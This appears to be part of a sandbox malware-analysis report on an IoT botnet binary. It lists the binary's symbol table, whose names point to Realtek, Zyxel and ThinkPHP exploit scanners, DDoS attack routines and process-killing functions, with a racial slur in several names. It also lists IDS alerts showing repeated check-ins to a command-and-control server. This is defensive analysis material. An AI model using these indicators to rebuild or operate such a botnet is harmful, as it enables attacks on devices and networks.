memory_scan_match	.symtab	0x80003e38	566	FUNC	<unknown>	DEFAULT	2
memory_scan_match	.symtab	0x80005176	294	FUNC	<unknown>	DEFAULT	2
mempcpy	.symtab	0x80014df0	42	FUNC	<unknown>	DEFAULT	2
mempcpy.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
memrchr	.symtab	0x80014e1c	358	FUNC	<unknown>	DEFAULT	2
memrchr.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
memset	.symtab	0x8000fe54	310	FUNC	<unknown>	DEFAULT	2
memset.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
mylock	.symtab	0x8001df10	24	OBJECT	<unknown>	DEFAULT	9
mylock	.symtab	0x80024380	24	OBJECT	<unknown>	DEFAULT	10
mylock	.symtab	0x8001e004	24	OBJECT	<unknown>	DEFAULT	9
nanosleep	.symtab	0x80013494	78	FUNC	<unknown>	DEFAULT	2
nanosleep.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
netlink.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
next_start.1067	.symtab	0x80024160	4	OBJECT	<unknown>	DEFAULT	10
nigger_init	.symtab	0x800040d8	2082	FUNC	<unknown>	DEFAULT	2
nigger_kill	.symtab	0x800048fa	28	FUNC	<unknown>	DEFAULT	2
nigger_kill_by_port	.symtab	0x80004916	1792	FUNC	<unknown>	DEFAULT	2
nigger_realpath_len	.symtab	0x8001e0e4	4	OBJECT	<unknown>	DEFAULT	10
ntohl	.symtab	0x80010954	12	FUNC	<unknown>	DEFAULT	2
ntohl.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
ntohs	.symtab	0x80010960	22	FUNC	<unknown>	DEFAULT	2
ntop.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
numpids	.symtab	0x8001e0f0	8	OBJECT	<unknown>	DEFAULT	10
object.2251	.symtab	0x8001e01e	24	OBJECT	<unknown>	DEFAULT	10
open	.symtab	0x8000c77e	80	FUNC	<unknown>	DEFAULT	2
open.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
opendir	.symtab	0x8000cb58	350	FUNC	<unknown>	DEFAULT	2
opendir.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
opennameservers.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
ourIP	.symtab	0x800245b4	4	OBJECT	<unknown>	DEFAULT	10
ovhl7	.symtab	0x80007278	1820	FUNC	<unknown>	DEFAULT	2
p.2168	.symtab	0x8001dc84	0	OBJECT	<unknown>	DEFAULT	9
pids	.symtab	0x800245b8	4	OBJECT	<unknown>	DEFAULT	10
poll	.symtab	0x8001628c	88	FUNC	<unknown>	DEFAULT	2
poll.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
prefix.4042	.symtab	0x8001abe9	12	OBJECT	<unknown>	DEFAULT	4
print	.symtab	0x80005b58	688	FUNC	<unknown>	DEFAULT	2
printchar	.symtab	0x80005906	68	FUNC	<unknown>	DEFAULT	2
printi	.symtab	0x80005a20	312	FUNC	<unknown>	DEFAULT	2
prints	.symtab	0x8000594a	214	FUNC	<unknown>	DEFAULT	2
putc_unlocked	.symtab	0x8000f0dc	392	FUNC	<unknown>	DEFAULT	2
puts	.symtab	0x8000d000	172	FUNC	<unknown>	DEFAULT	2
puts.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
qual_chars.4045	.symtab	0x8001abfc	20	OBJECT	<unknown>	DEFAULT	4
raise	.symtab	0x80017eb8	28	FUNC	<unknown>	DEFAULT	2
raise.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
rand	.symtab	0x80011dd4	14	FUNC	<unknown>	DEFAULT	2
rand.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
rand.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
rand_alphastr	.symtab	0x80009c96	248	FUNC	<unknown>	DEFAULT	2
rand_cmwc	.symtab	0x80005398	280	FUNC	<unknown>	DEFAULT	2
rand_init	.symtab	0x80009b4c	84	FUNC	<unknown>	DEFAULT	2
rand_next	.symtab	0x80009ba0	128	FUNC	<unknown>	DEFAULT	2
rand_str	.symtab	0x80009c20	118	FUNC	<unknown>	DEFAULT	2
random	.symtab	0x80011de4	94	FUNC	<unknown>	DEFAULT	2
random.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
random_poly_info	.symtab	0x8001b7e2	40	OBJECT	<unknown>	DEFAULT	4
random_r	.symtab	0x8001211a	266	FUNC	<unknown>	DEFAULT	2
random_r.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
randtbl	.symtab	0x8001df44	128	OBJECT	<unknown>	DEFAULT	9
rawmemchr	.symtab	0x8001679c	274	FUNC	<unknown>	DEFAULT	2
rawmemchr.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
read	.symtab	0x8000c7ec	84	FUNC	<unknown>	DEFAULT	2
read.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
read_etc_hosts_r.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
readdir	.symtab	0x8000ccb8	292	FUNC	<unknown>	DEFAULT	2
readdir.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
readlink	.symtab	0x8000c840	84	FUNC	<unknown>	DEFAULT	2
readlink.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
realloc	.symtab	0x80011798	408	FUNC	<unknown>	DEFAULT	2
realloc.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
realtek_scanner.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
realtekscanner_fake_time	.symtab	0x80022154	4	OBJECT	<unknown>	DEFAULT	10
realtekscanner_get_random_ip	.symtab	0x8000ab1e	708	FUNC	<unknown>	DEFAULT	2
realtekscanner_recv_strip_null	.symtab	0x80009d90	108	FUNC	<unknown>	DEFAULT	2
realtekscanner_rsck	.symtab	0x80022124	4	OBJECT	<unknown>	DEFAULT	10
realtekscanner_rsck_out	.symtab	0x80022128	4	OBJECT	<unknown>	DEFAULT	10
realtekscanner_scanner_init	.symtab	0x80009dfc	3048	FUNC	<unknown>	DEFAULT	2
realtekscanner_scanner_kill	.symtab	0x8000a9e4	28	FUNC	<unknown>	DEFAULT	2
realtekscanner_scanner_pid	.symtab	0x80022120	4	OBJECT	<unknown>	DEFAULT	10
realtekscanner_scanner_rawpkt	.symtab	0x8002212c	40	OBJECT	<unknown>	DEFAULT	10
realtekscanner_setup_connection	.symtab	0x8000aa00	286	FUNC	<unknown>	DEFAULT	2
recv	.symtab	0x80010f94	56	FUNC	<unknown>	DEFAULT	2
recv.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
recvLine	.symtab	0x80005f64	470	FUNC	<unknown>	DEFAULT	2
recvfrom	.symtab	0x80010fcc	72	FUNC	<unknown>	DEFAULT	2
recvfrom.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
resolv.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
resolv_domain_to_hostname	.symtab	0x8000ade4	140	FUNC	<unknown>	DEFAULT	2
resolv_entries_free	.symtab	0x8000b482	56	FUNC	<unknown>	DEFAULT	2
resolv_lookup	.symtab	0x8000af0e	1396	FUNC	<unknown>	DEFAULT	2
resolv_skip_name	.symtab	0x8000ae70	158	FUNC	<unknown>	DEFAULT	2
sbrk	.symtab	0x800134e4	106	FUNC	<unknown>	DEFAULT	2
sbrk.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
scanner.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
select	.symtab	0x8000c894	100	FUNC	<unknown>	DEFAULT	2
select.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
send	.symtab	0x80011014	56	FUNC	<unknown>	DEFAULT	2
send.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
sendto	.symtab	0x8001104c	70	FUNC	<unknown>	DEFAULT	2
sendto.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
setsid	.symtab	0x8000c8f8	56	FUNC	<unknown>	DEFAULT	2
setsid.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
setsockopt	.symtab	0x80011094	64	FUNC	<unknown>	DEFAULT	2
setsockopt.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
setstate	.symtab	0x80011e42	116	FUNC	<unknown>	DEFAULT	2
setstate_r	.symtab	0x80011f84	406	FUNC	<unknown>	DEFAULT	2
sigaction	.symtab	0x80015f50	232	FUNC	<unknown>	DEFAULT	2
sigaction.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
signal	.symtab	0x80011108	238	FUNC	<unknown>	DEFAULT	2
signal.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
sigprocmask	.symtab	0x80013550	160	FUNC	<unknown>	DEFAULT	2
sigprocmask.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
sigsetops.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
sleep	.symtab	0x80012804	558	FUNC	<unknown>	DEFAULT	2
sleep.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
socket	.symtab	0x800110d4	50	FUNC	<unknown>	DEFAULT	2
socket.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
socket_connect	.symtab	0x8000555e	242	FUNC	<unknown>	DEFAULT	2
sockprintf	.symtab	0x80005e08	174	FUNC	<unknown>	DEFAULT	2
spec_and_mask.4044	.symtab	0x8001ac10	16	OBJECT	<unknown>	DEFAULT	4
spec_base.4041	.symtab	0x8001abf5	7	OBJECT	<unknown>	DEFAULT	4
spec_chars.4041	.symtab	0x8001ac39	21	OBJECT	<unknown>	DEFAULT	4
spec_flags.4040	.symtab	0x8001ac4e	8	OBJECT	<unknown>	DEFAULT	4
spec_or_mask.4043	.symtab	0x8001ac20	16	OBJECT	<unknown>	DEFAULT	4
spec_ranges.4042	.symtab	0x8001ac30	9	OBJECT	<unknown>	DEFAULT	4
sprintf	.symtab	0x8000d0ac	52	FUNC	<unknown>	DEFAULT	2
sprintf.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
srand	.symtab	0x80011f2c	88	FUNC	<unknown>	DEFAULT	2
srandom	.symtab	0x80011f2c	88	FUNC	<unknown>	DEFAULT	2
srandom_r	.symtab	0x80012224	422	FUNC	<unknown>	DEFAULT	2
static_id	.symtab	0x8001dfe8	2	OBJECT	<unknown>	DEFAULT	9
static_ns	.symtab	0x80024398	4	OBJECT	<unknown>	DEFAULT	10
std	.symtab	0x80007164	276	FUNC	<unknown>	DEFAULT	2
stderr	.symtab	0x8001dcd4	4	OBJECT	<unknown>	DEFAULT	9
stdin	.symtab	0x8001dccc	4	OBJECT	<unknown>	DEFAULT	9
stdout	.symtab	0x8001dcd0	4	OBJECT	<unknown>	DEFAULT	9
strcasecmp	.symtab	0x800180c8	120	FUNC	<unknown>	DEFAULT	2
strcasecmp.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strcasestr	.symtab	0x80010798	170	FUNC	<unknown>	DEFAULT	2
strcasestr.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strchr	.symtab	0x8000ff8c	390	FUNC	<unknown>	DEFAULT	2
strchr.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strcmp	.symtab	0x80010114	110	FUNC	<unknown>	DEFAULT	2
strcmp.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strcoll	.symtab	0x80010114	110	FUNC	<unknown>	DEFAULT	2
strcpy	.symtab	0x80010184	92	FUNC	<unknown>	DEFAULT	2
strcpy.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strdup	.symtab	0x80016a50	80	FUNC	<unknown>	DEFAULT	2
strdup.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strerror_r	.symtab	0x80010654	264	FUNC	<unknown>	DEFAULT	2
strlen	.symtab	0x800101e0	268	FUNC	<unknown>	DEFAULT	2
strlen.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strncat	.symtab	0x800168b0	310	FUNC	<unknown>	DEFAULT	2
strncat.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strncpy	.symtab	0x80014f84	320	FUNC	<unknown>	DEFAULT	2
strncpy.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strnlen	.symtab	0x800102ec	350	FUNC	<unknown>	DEFAULT	2
strnlen.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strpbrk	.symtab	0x80015160	86	FUNC	<unknown>	DEFAULT	2
strpbrk.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strspn	.symtab	0x800169e8	104	FUNC	<unknown>	DEFAULT	2
strspn.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strstr	.symtab	0x8001044c	484	FUNC	<unknown>	DEFAULT	2
strstr.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strtok	.symtab	0x80010844	36	FUNC	<unknown>	DEFAULT	2
strtok.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strtok_r	.symtab	0x800150c4	154	FUNC	<unknown>	DEFAULT	2
strtok_r.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strtol	.symtab	0x80012530	34	FUNC	<unknown>	DEFAULT	2
strtol.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
table	.symtab	0x800245bc	312	OBJECT	<unknown>	DEFAULT	10
table.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
table_init	.symtab	0x8000b4bc	1174	FUNC	<unknown>	DEFAULT	2
table_key	.symtab	0x8001dcb8	4	OBJECT	<unknown>	DEFAULT	9
table_lock_val	.symtab	0x8000b98c	58	FUNC	<unknown>	DEFAULT	2
table_retrieve_val	.symtab	0x8000b9c6	70	FUNC	<unknown>	DEFAULT	2
table_unlock_val	.symtab	0x8000b952	58	FUNC	<unknown>	DEFAULT	2
tcgetattr	.symtab	0x8001089c	182	FUNC	<unknown>	DEFAULT	2
tcgetattr.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
tcpcsum	.symtab	0x800064fa	198	FUNC	<unknown>	DEFAULT	2
thinkphp.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
time	.symtab	0x8000c930	62	FUNC	<unknown>	DEFAULT	2
time.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
times	.symtab	0x800135f0	62	FUNC	<unknown>	DEFAULT	2
times.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
toggle_obf	.symtab	0x8000ba84	282	FUNC	<unknown>	DEFAULT	2
tolower	.symtab	0x80013934	64	FUNC	<unknown>	DEFAULT	2
tolower.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
toupper	.symtab	0x8000ca50	64	FUNC	<unknown>	DEFAULT	2
toupper.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
trim	.symtab	0x80005858	174	FUNC	<unknown>	DEFAULT	2
type_codes	.symtab	0x8001ac56	24	OBJECT	<unknown>	DEFAULT	4
type_sizes	.symtab	0x8001ac6e	12	OBJECT	<unknown>	DEFAULT	4
unknown.1089	.symtab	0x8001ac7a	14	OBJECT	<unknown>	DEFAULT	4
unlink	.symtab	0x8000c970	62	FUNC	<unknown>	DEFAULT	2
unlink.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
unsafe_state	.symtab	0x8001df28	28	OBJECT	<unknown>	DEFAULT	9
useragents	.symtab	0x8001dc98	28	OBJECT	<unknown>	DEFAULT	9
usleep	.symtab	0x80012a34	142	FUNC	<unknown>	DEFAULT	2
usleep.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
util.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
util_atoi	.symtab	0x8000bd4a	444	FUNC	<unknown>	DEFAULT	2
util_fdgets	.symtab	0x8000c208	142	FUNC	<unknown>	DEFAULT	2
util_isalpha	.symtab	0x8000c2c6	64	FUNC	<unknown>	DEFAULT	2
util_isdigit	.symtab	0x8000c346	48	FUNC	<unknown>	DEFAULT	2
util_isspace	.symtab	0x8000c306	64	FUNC	<unknown>	DEFAULT	2
util_isupper	.symtab	0x8000c296	48	FUNC	<unknown>	DEFAULT	2
util_itoa	.symtab	0x8000bf06	248	FUNC	<unknown>	DEFAULT	2
util_local_addr	.symtab	0x8000c158	176	FUNC	<unknown>	DEFAULT	2
util_memcpy	.symtab	0x8000bcee	54	FUNC	<unknown>	DEFAULT	2
util_memsearch	.symtab	0x8000bffe	118	FUNC	<unknown>	DEFAULT	2
util_strcmp	.symtab	0x8000bc46	114	FUNC	<unknown>	DEFAULT	2
util_strcpy	.symtab	0x8000bcb8	54	FUNC	<unknown>	DEFAULT	2
util_stristr	.symtab	0x8000c074	228	FUNC	<unknown>	DEFAULT	2
util_strlen	.symtab	0x8000bba0	42	FUNC	<unknown>	DEFAULT	2
util_strncmp	.symtab	0x8000bbca	124	FUNC	<unknown>	DEFAULT	2
util_zero	.symtab	0x8000bd24	38	FUNC	<unknown>	DEFAULT	2
vseattack	.symtab	0x80007a96	1348	FUNC	<unknown>	DEFAULT	2
vsnprintf	.symtab	0x8000d0e0	198	FUNC	<unknown>	DEFAULT	2
vsnprintf.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
w	.symtab	0x8001e10a	4	OBJECT	<unknown>	DEFAULT	10
w	.symtab	0x8002211c	4	OBJECT	<unknown>	DEFAULT	10
wait4	.symtab	0x8001368a	30	FUNC	<unknown>	DEFAULT	2
wait4.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
waitpid	.symtab	0x8000c9b0	34	FUNC	<unknown>	DEFAULT	2
waitpid.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
wcrtomb	.symtab	0x80013984	100	FUNC	<unknown>	DEFAULT	2
wcrtomb.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
wcsnrtombs	.symtab	0x80013a10	206	FUNC	<unknown>	DEFAULT	2
wcsnrtombs.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
wcsrtombs	.symtab	0x800139e8	38	FUNC	<unknown>	DEFAULT	2
wcsrtombs.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
write	.symtab	0x8000c9d4	84	FUNC	<unknown>	DEFAULT	2
write.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
x	.symtab	0x8001e0fe	4	OBJECT	<unknown>	DEFAULT	10
x	.symtab	0x80022110	4	OBJECT	<unknown>	DEFAULT	10
xdigits.3095	.symtab	0x8001bc38	17	OBJECT	<unknown>	DEFAULT	4
xstatconv.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
y	.symtab	0x8001e102	4	OBJECT	<unknown>	DEFAULT	10
y	.symtab	0x80022114	4	OBJECT	<unknown>	DEFAULT	10
z	.symtab	0x8001e106	4	OBJECT	<unknown>	DEFAULT	10
z	.symtab	0x80022118	4	OBJECT	<unknown>	DEFAULT	10
zyxel_scanner.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-03T08:15:35.049835+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53012	212.64.199.97	65525	TCP
2025-01-03T08:15:36.830444+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53014	212.64.199.97	65525	TCP
2025-01-03T08:15:38.633398+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53016	212.64.199.97	65525	TCP
2025-01-03T08:15:40.419885+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53018	212.64.199.97	65525	TCP
2025-01-03T08:15:42.203267+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53020	212.64.199.97	65525	TCP
2025-01-03T08:15:43.985518+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53022	212.64.199.97	65525	TCP
2025-01-03T08:15:45.774839+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53024	212.64.199.97	65525	TCP
2025-01-03T08:15:47.583285+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53026	212.64.199.97	65525	TCP
2025-01-03T08:15:49.358981+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53028	212.64.199.97	65525	TCP
2025-01-03T08:15:51.164229+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53030	212.64.199.97	65525	TCP
2025-01-03T08:16:04.802357+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53032	212.64.199.97	65525	TCP
2025-01-03T08:16:06.642562+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53034	212.64.199.97	65525	TCP
2025-01-03T08:16:08.482077+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53036	212.64.199.97	65525	TCP
2025-01-03T08:16:10.268373+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53038	212.64.199.97	65525	TCP
2025-01-03T08:16:12.066785+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53040	212.64.199.97	65525	TCP
2025-01-03T08:16:13.863865+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53042	212.64.199.97	65525	TCP
2025-01-03T08:16:15.656557+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53044	212.64.199.97	65525	TCP
2025-01-03T08:16:17.437526+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53046	212.64.199.97	65525	TCP
2025-01-03T08:16:19.239701+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53048	212.64.199.97	65525	TCP
2025-01-03T08:16:21.044651+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53050	212.64.199.97	65525	TCP
2025-01-03T08:16:22.828805+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53052	212.64.199.97	65525	TCP
2025-01-03T08:16:24.611996+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53054	212.64.199.97	65525	TCP
2025-01-03T08:16:26.385938+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53056	212.64.199.97	65525	TCP
2025-01-03T08:16:28.177411+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53058	212.64.199.97	65525	TCP
2025-01-03T08:16:29.969190+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53060	212.64.199.97	65525	TCP
2025-01-03T08:16:31.754689+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53062	212.64.199.97	65525	TCP
2025-01-03T08:16:33.567499+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53064	212.64.199.97	65525	TCP
2025-01-03T08:16:35.339386+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53066	212.64.199.97	65525	TCP
2025-01-03T08:16:37.163324+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53068	212.64.199.97	65525	TCP
2025-01-03T08:16:38.937997+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53070	212.64.199.97	65525	TCP
2025-01-03T08:16:40.740845+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53072	212.64.199.97	65525	TCP
2025-01-03T08:16:42.518040+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53074	212.64.199.97	65525	TCP
2025-01-03T08:16:44.295862+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53076	212.64.199.97	65525	TCP
2025-01-03T08:16:46.108868+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53078	212.64.199.97	65525	TCP
2025-01-03T08:16:47.906945+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53080	212.64.199.97	65525	TCP
2025-01-03T08:16:49.694117+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53082	212.64.199.97	65525	TCP
2025-01-03T08:16:51.481856+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53084	212.64.199.97	65525	TCP
2025-01-03T08:16:53.268064+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53086	212.64.199.97	65525	TCP
2025-01-03T08:16:55.043744+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53088	212.64.199.97	65525	TCP
2025-01-03T08:16:56.808081+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53090	212.64.199.97	65525	TCP
2025-01-03T08:16:58.596651+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53092	212.64.199.97	65525	TCP
2025-01-03T08:17:00.374223+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53094	212.64.199.97	65525	TCP
2025-01-03T08:17:02.177066+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53096	212.64.199.97	65525	TCP
2025-01-03T08:17:03.950260+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53098	212.64.199.97	65525	TCP
2025-01-03T08:17:05.731287+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53100	212.64.199.97	65525	TCP
2025-01-03T08:17:07.516982+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53102	212.64.199.97	65525	TCP
2025-01-03T08:17:09.277297+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53104	212.64.199.97	65525	TCP
2025-01-03T08:17:11.068185+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53106	212.64.199.97	65525	TCP
2025-01-03T08:17:12.865502+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53108	212.64.199.97	65525	TCP
2025-01-03T08:17:28.886823+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53110	212.64.199.97	65525	TCP
2025-01-03T08:17:33.037429+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53112	212.64.199.97	65525	TCP
2025-01-03T08:17:34.858020+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53114	212.64.199.97	65525	TCP
2025-01-03T08:17:36.644201+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53116	212.64.199.97	65525	TCP
2025-01-03T08:17:43.803368+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53118	212.64.199.97	65525	TCP
